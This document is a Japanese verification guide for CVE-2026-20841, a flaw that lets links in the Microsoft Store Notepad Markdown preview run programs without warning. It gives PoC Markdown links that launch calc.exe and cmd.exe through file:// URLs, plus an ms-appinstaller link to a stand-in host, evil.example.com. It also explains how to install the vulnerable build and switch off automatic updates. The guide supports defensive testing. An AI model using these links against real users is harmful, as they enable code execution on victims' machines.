Skip to content

Latest commit

 

History

History
315 lines (221 loc) · 10.6 KB

File metadata and controls

315 lines (221 loc) · 10.6 KB

CVE-2026-20841 検証ガイド

1. 検証環境の構築

1.1 必要な環境

項目 要件
OS Windows 10 または Windows 11 (21H2/22H2/23H2)
Notepad Microsoft Store版 11.2510 未満 (脆弱バージョン)
ネットワーク オフラインで可 (file:// ペイロードの場合)
権限 一般ユーザー権限で十分

1.2 推奨: Windows Sandbox を使用 (最も安全)

Windows Sandbox は使い捨ての隔離環境で、閉じると全ての変更が消去されます。

有効化手順:

  1. Win + Roptionalfeatures → Enter
  2. 「Windows Sandbox」にチェック → OK → 再起動
  3. スタートメニューから「Windows Sandbox」を起動

制限:

  • Windows Sandbox内のNotepadはOS組み込みのレガシー版が初期状態
  • Store版Notepadを別途インストールする必要がある (方法は1.4参照)

1.3 代替: 仮想マシン (VM) を使用

Hyper-V, VirtualBox, VMware 等で Windows 10/11 のVMを構築。

メリット:

  • スナップショットで状態を保存/復元可能
  • ネットワーク隔離が容易

推奨手順:

  1. Windows 10/11 の ISO を取得 (Microsoft公式)
  2. VMを作成しインストール
  3. スナップショットを取得 (クリーン状態)
  4. 脆弱なNotepadをインストール (1.4参照)
  5. 検証実施
  6. 検証後にスナップショットに戻す

1.4 脆弱バージョンの Store版 Notepad のインストール

方法A: 取得済みMSIXBundleを使用 (推奨)

本プロジェクトで取得済みのパッケージを使用します。

# 1. macOSからWindows VMにファイルを転送
#    binaries/pre-patch-11.2508.38.0.msixbundle をVMにコピー

# 2. PowerShell (管理者) で開発者モードを有効化
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" -Name "AllowDevelopmentWithoutDevLicense" -Value 1

# 3. 既存のStore版Notepadがあればアンインストール
Get-AppxPackage *WindowsNotepad* | Remove-AppxPackage

# 4. 脆弱バージョンをインストール
Add-AppxPackage -Path ".\pre-patch-11.2508.38.0.msixbundle"

# 5. バージョン確認
Get-AppxPackage *WindowsNotepad* | Select-Object Name, Version
# → Version が 11.2508.38.0 であることを確認

方法B: Microsoft Store の自動更新を無効化して使用

# 1. Store の自動更新を無効化 (検証中のアップデート防止)
#    Microsoft Store → 設定 → アプリの更新 → オフ

# 2. または、グループポリシーで制御
#    gpedit.msc → コンピューターの構成 → 管理用テンプレート
#    → Windows コンポーネント → Store
#    → 「更新プログラムの自動ダウンロードおよびインストールをオフにする」→ 有効

重要: 検証中に自動更新で脆弱なバージョンがパッチされないよう、必ず自動更新を無効化してください。


2. 検証手順

2.1 事前確認

# Notepadのバージョン確認
Get-AppxPackage *WindowsNotepad* | Select-Object Name, Version, PackageFamilyName

# 期待される出力:
# Name    : Microsoft.WindowsNotepad
# Version : 11.2508.38.0
# PackageFamilyName : Microsoft.WindowsNotepad_8wekyb3d8bbwe

バージョンが 11.2510 未満 であることを確認。

2.2 テスト1: file:// プロトコルによるcalc.exe起動 (基本検証)

  1. 以下の内容で test_poc.md を作成:
# CVE-2026-20841 Test

[Click to test](file://C:/windows/system32/calc.exe)
  1. Store版 Notepad で test_poc.md を開く:
# Store版Notepadで開く
start notepad test_poc.md
  1. Markdownプレビューが有効であることを確認

    • Notepadのメニューで「表示」→「Markdownプレビュー」が有効
    • またはファイルの拡張子が .md であれば自動有効化される場合あり
  2. レンダリングされたリンク「Click to test」をクリック

  3. 期待される結果 (脆弱バージョン):

    • 電卓アプリ (calc.exe) が起動する → 脆弱性確認
  4. 期待される結果 (パッチ済みバージョン):

    • UnsafeLinkAlertDialog が表示される
    • リンクの安全性について警告が出る
    • ユーザーが許可しない限り実行されない

2.3 テスト2: file:// でcmd.exe起動

# CVE-2026-20841 Test - cmd.exe

[Open command prompt](file://C:/windows/system32/cmd.exe)

→ クリックで cmd.exe が起動すれば脆弱性確認。

2.4 テスト3: ms-appinstaller:// (ネットワーク必要)

# CVE-2026-20841 Test - App Installer

[Install update](ms-appinstaller://?source=https://evil.example.com/test.appx)

→ クリックで App Installer が起動しリモートURLへのアクセスを試みれば脆弱性確認。 (実際の .appx が存在しなくても、App Installer の起動自体が脆弱性の証拠)

2.5 テスト4: 安全なリンクとの比較 (対照実験)

# Safe vs Unsafe comparison

[Safe: HTTPS link](https://www.microsoft.com)

[Unsafe: file:// link](file://C:/windows/system32/calc.exe)

→ HTTPS リンクは正常にブラウザで開かれるべき。 → file:// リンクが無警告で実行されれば脆弱。

2.6 テスト5: パッチ後の動作確認

# パッチ済みバージョンをインストール
Get-AppxPackage *WindowsNotepad* | Remove-AppxPackage
Add-AppxPackage -Path ".\post-patch-11.2510.14.0.msixbundle"

# バージョン確認
Get-AppxPackage *WindowsNotepad* | Select-Object Version
# → 11.2510.14.0

同じ test_poc.md で再テスト:

  • UnsafeLinkAlertDialog が表示されることを確認
  • file:// リンクがブロック/警告されることを確認

3. エビデンスの記録

検証結果を記録するために、以下を推奨:

3.1 スクリーンショット

各テストで以下をキャプチャ:

  • Notepadのバージョン情報画面
  • Markdownプレビューでリンクが表示されている状態
  • リンククリック後の結果 (calc.exe起動 or 警告ダイアログ)
# スクリーンショットツール
# Win + Shift + S (Snipping Tool)
# または
snippingtool

3.2 Process Monitor による動作記録

# Sysinternals Process Monitor で詳細な動作を記録
# https://learn.microsoft.com/en-us/sysinternals/downloads/procmon

# フィルタ設定:
# Process Name is Notepad.exe
# Process Name is calc.exe
# Process Name is cmd.exe
# Operation is Process Create

# これにより、Notepadからcalc.exeがどのように起動されたか
# (親プロセス関係、コマンドライン引数等) を記録できる

3.3 結果の記録テンプレート

テスト バージョン 操作 結果 脆弱?
Test1 file:// calc 11.2508.38.0 リンククリック calc起動 Yes/No
Test1 file:// calc 11.2510.14.0 リンククリック 警告表示 Yes/No
Test2 file:// cmd 11.2508.38.0 リンククリック cmd起動 Yes/No
Test3 appinstaller 11.2508.38.0 リンククリック Installer起動 Yes/No
Test4 https比較 11.2508.38.0 リンククリック ブラウザ起動 N/A

4. トラブルシューティング

4.1 MSIXBundleのインストールに失敗する

# 署名の問題の場合 - 開発者モードを有効化
Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\AppModelUnlock" -Name "AllowAllTrustedApps" -Value 1

# 依存パッケージの不足
# エラーメッセージに記載された依存パッケージをインストール
# Microsoft.VCLibs, Microsoft.UI.Xaml 等

# VCLibs のインストール (x64)
Add-AppxPackage -Path "Microsoft.VCLibs.x64.14.00.Desktop.appx"

4.2 Markdownプレビューが表示されない

  • Store版Notepadであることを確認 (レガシー版にはMarkdown機能なし)
  • ファイル拡張子が .md であることを確認
  • Notepad設定で Markdown プレビューが有効であることを確認
  • バージョン 11.2408 以降で Markdown プレビューが利用可能

4.3 リンクがクリッカブルにならない

  • Markdownプレビューパネルが表示されていることを確認
  • プレビューパネル内のリンクをクリック (エディタ側ではなく)
  • [text](url) の Markdown 書式が正しいことを確認

4.4 パッチ済みバージョンに自動更新されてしまう

# Microsoft Store の自動更新を確実に停止
Stop-Service -Name "InstallService" -Force
Set-Service -Name "InstallService" -StartupType Disabled

# または、ネットワークを切断した状態で検証を行う

5. 検証後のクリーンアップ

# 1. 脆弱バージョンをアンインストール
Get-AppxPackage *WindowsNotepad* | Remove-AppxPackage

# 2. パッチ済みバージョンをインストール (本番環境の場合)
Add-AppxPackage -Path ".\post-patch-11.2510.14.0.msixbundle"
# または Microsoft Store から最新版にアップデート

# 3. Store自動更新を再有効化
Set-Service -Name "InstallService" -StartupType Automatic
Start-Service -Name "InstallService"

# 4. テストファイルの削除
Remove-Item test_poc.md

重要: 検証後は必ず脆弱バージョンをアンインストールし、パッチ済みバージョンに更新してください。


6. ファイル転送方法 (macOS → Windows VM)

方法1: 共有フォルダ

# macOS側: プロジェクトディレクトリをVM共有フォルダに設定
# VirtualBox: 設定 → 共有フォルダ → /Users/uky/src/CVE-2026-20841
# VMware: 設定 → 共有 → /Users/uky/src/CVE-2026-20841

方法2: SCP/SFTP

# macOSからWindows VMにファイルを転送
scp -r /Users/uky/src/CVE-2026-20841/binaries/*.msixbundle user@windows-vm:C:/temp/
scp /Users/uky/src/CVE-2026-20841/poc/exploit.md user@windows-vm:C:/temp/

方法3: USB/ローカル転送

# macOSでUSBにコピー
cp -r /Users/uky/src/CVE-2026-20841/binaries/*.msixbundle /Volumes/USB/
cp -r /Users/uky/src/CVE-2026-20841/poc/ /Volumes/USB/

Verification Guide - CVE-2026-20841 - 2026-02-12